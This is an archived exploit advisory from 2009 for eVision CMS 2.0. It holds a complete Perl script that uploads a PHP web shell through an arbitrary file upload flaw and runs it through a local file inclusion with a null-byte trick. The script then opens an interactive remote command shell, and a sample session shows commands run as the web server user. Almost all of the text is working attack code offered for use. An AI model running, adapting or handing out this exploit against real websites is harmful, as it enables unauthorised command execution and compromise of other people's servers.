eVision CMS 2.0 Code Execution

2009-01-31T00:00:00
ID PACKETSTORM:74510
Type packetstorm
Reporter Osirys
Modified 2009-01-31T00:00:00

Description

                                        
                                            `#!/usr/bin/perl  
  
# -----------------------------------------------------------------------------  
# INFORMATIONS  
# -----------------------------------------------------------------------------  
  
# eVision CMS 2.0  
# http://kent.dl.sourceforge.net/sourceforge/e-vision/eVision-2.0.tar.gz  
# Remote Command Execution Exploit  
# by Osirys  
# osirys[at]live[dot]it  
# Greets to: evilsocket, DarkJoker, emgent, Jay and str0ke  
  
# This cms is vulnerable to arbitrary file upload. The problem is that when  
# the user uploads a file, on it will be added the .gif extension. but this  
# cms is vulnerable to Local File Inclusion,so we can include the .gif file  
# and execute it.  
  
# ------------------------------------------------------------------  
# Exploit in action :D  
# ------------------------------------------------------------------  
# osirys[~]>$ perl rcE.txt http://localhost/eVision-2.0/  
#  
# ---------------------------  
# eVision CMS RCE Exploit  
# Coded by Osirys  
# ---------------------------  
  
# [+] Evil php code uploaded !  
# [+] Including now evil file with LFI vulnerability  
# [+] Injection succesfully ! Remote Command execution works !  
  
# shell[localhost]$> whoami  
# apache  
# shell[localhost]$> id  
# uid=80(apache) gid=80(apache) groups=80(apache)  
# shell[localhost]$> pwd  
# /home/osirys/web/eVision-2.0/modules/tour/adminpart  
# shell[localhost]$> exit  
# [-] Quitting ..  
# osirys[~]>$  
# ------------------------------------------------------------------  
  
use LWP::UserAgent;  
use IO::Socket;  
use HTTP::Request::Common;  
  
my $img_up_path = "/modules/brandnews/adminpart/img_upload.php";  
my $up_path = "/modules.conf/brandnews/showpart/icons/";  
my $lfi_path = "/modules/tour/adminpart/addtour.php?module=";  
my $rce_path = "../../../modules.conf/brandnews/showpart/icons/";  
my $vuln_code = "<?php system(\$_GET[cmd]); ?>";  
my $lfile = "osi.txt";  
my $nfile = "osirys.txt";  
my $host = $ARGV[0];  
  
  
($host) || help("-1");  
cheek($host) == 1 || help("-2");  
&banner;  
  
open ($file, ">", $lfile);  
print $file "$vuln_code\n";  
close($file);  
  
$datas = get_input($host);  
$datas =~ /(.*) (.*)/;  
($h0st,$path) = ($1,$2);  
  
  
my $url = $host.$img_up_path;  
my $ua = LWP::UserAgent->new;  
my $re = $ua->request(POST $url,  
Content_Type => 'form-data',  
Content => [  
upload_img => [$lfile, Content_Type => 'text/plain'],  
upload_label => $nfile,  
upload_submit => 'Upload'  
]  
);  
  
unlink($lfile);  
  
if ($re->is_success){  
my $t_re = get_req($host.$up_path.$nfile.".gif");  
if ($t_re =~ /<\?php/) {  
print "[+] Evil php code uploaded !\n";  
print "[+] Including now evil file with LFI vulnerability\n";  
my $re = get_req($host.$lfi_path.$rce_path.$nfile.".gif%00&cmd=id");  
if ($re =~ /uid/) {  
print "[+] Injection succesfully ! Remote Command execution works !\n\n";  
$lfi_rce = $host.$lfi_path.$rce_path.$nfile.".gif%00&cmd=";  
&exec_cmd;  
}  
else {  
print "[-] Something goes wrong !\n";  
print "[-] Exploit Failed\n\n";  
exit(0);  
}  
}  
else {  
print "[-] Upload failed\n";  
print "[-] Exploit Failed\n\n";  
exit(0);  
}  
}  
else {  
print "[-] Unable to upload evil file !\n";  
print "[-] Exploit Failed\n\n";  
exit(0);  
}  
  
sub exec_cmd {  
my @outs;  
$h0st !~ /www\./ || $h0st =~ s/www\.//;  
print "shell[$h0st]\$> ";  
$cmd = <STDIN>;  
$cmd !~ /exit/ || die "[-] Quitting ..\n";  
$exec_url = ($lfi_rce.$cmd);  
$re = get_req($exec_url);  
if ($re =~ /(.)/) {  
push(@outs,$re);  
foreach my $o(@outs) {  
print "$o";  
}  
&exec_cmd;  
}  
else {  
$c++;  
$cmd =~ s/\n//;  
print "bash: ".$cmd.": command not found\n";  
$c < 3 || die "[-] Command are not executed.\n[-] Something wrong. Exploit Failed !\n\n";  
&exec_cmd;  
}  
}  
  
sub get_req() {  
$link = $_[0];  
my $req = HTTP::Request->new(GET => $link);  
my $ua = LWP::UserAgent->new();  
$ua->timeout(4);  
my $response = $ua->request($req);  
return $response->content;  
}  
  
sub cheek() {  
my $host = $_[0];  
if ($host =~ /http:\/\/(.*)/) {  
return 1;  
}  
else {  
return 0;  
}  
}  
  
sub get_input() {  
my $host = $_[0];  
$host =~ /http:\/\/(.*)/;  
$s_host = $1;  
$s_host =~ /([a-z.-]{1,30})\/(.*)/;  
($h0st,$path) = ($1,$2);  
$path =~ s/(.*)/\/$1/;  
$full_det = $h0st." ".$path;  
return $full_det;  
}  
  
sub banner {  
print "\n".  
" --------------------------- \n".  
" eVision CMS RCE Exploit \n".  
" Coded by Osirys \n".  
" --------------------------- \n\n";  
}  
  
sub help() {  
my $error = $_[0];  
if ($error == -1) {  
&banner;  
print "\n[-] Bad hostname! \n";  
}  
elsif ($error == -2) {  
&banner;  
print "\n[-] Bad hostname address !\n";  
}  
print "[*] Usage : perl $0 http://hostname/cms_path\n\n";  
exit(0);  
}`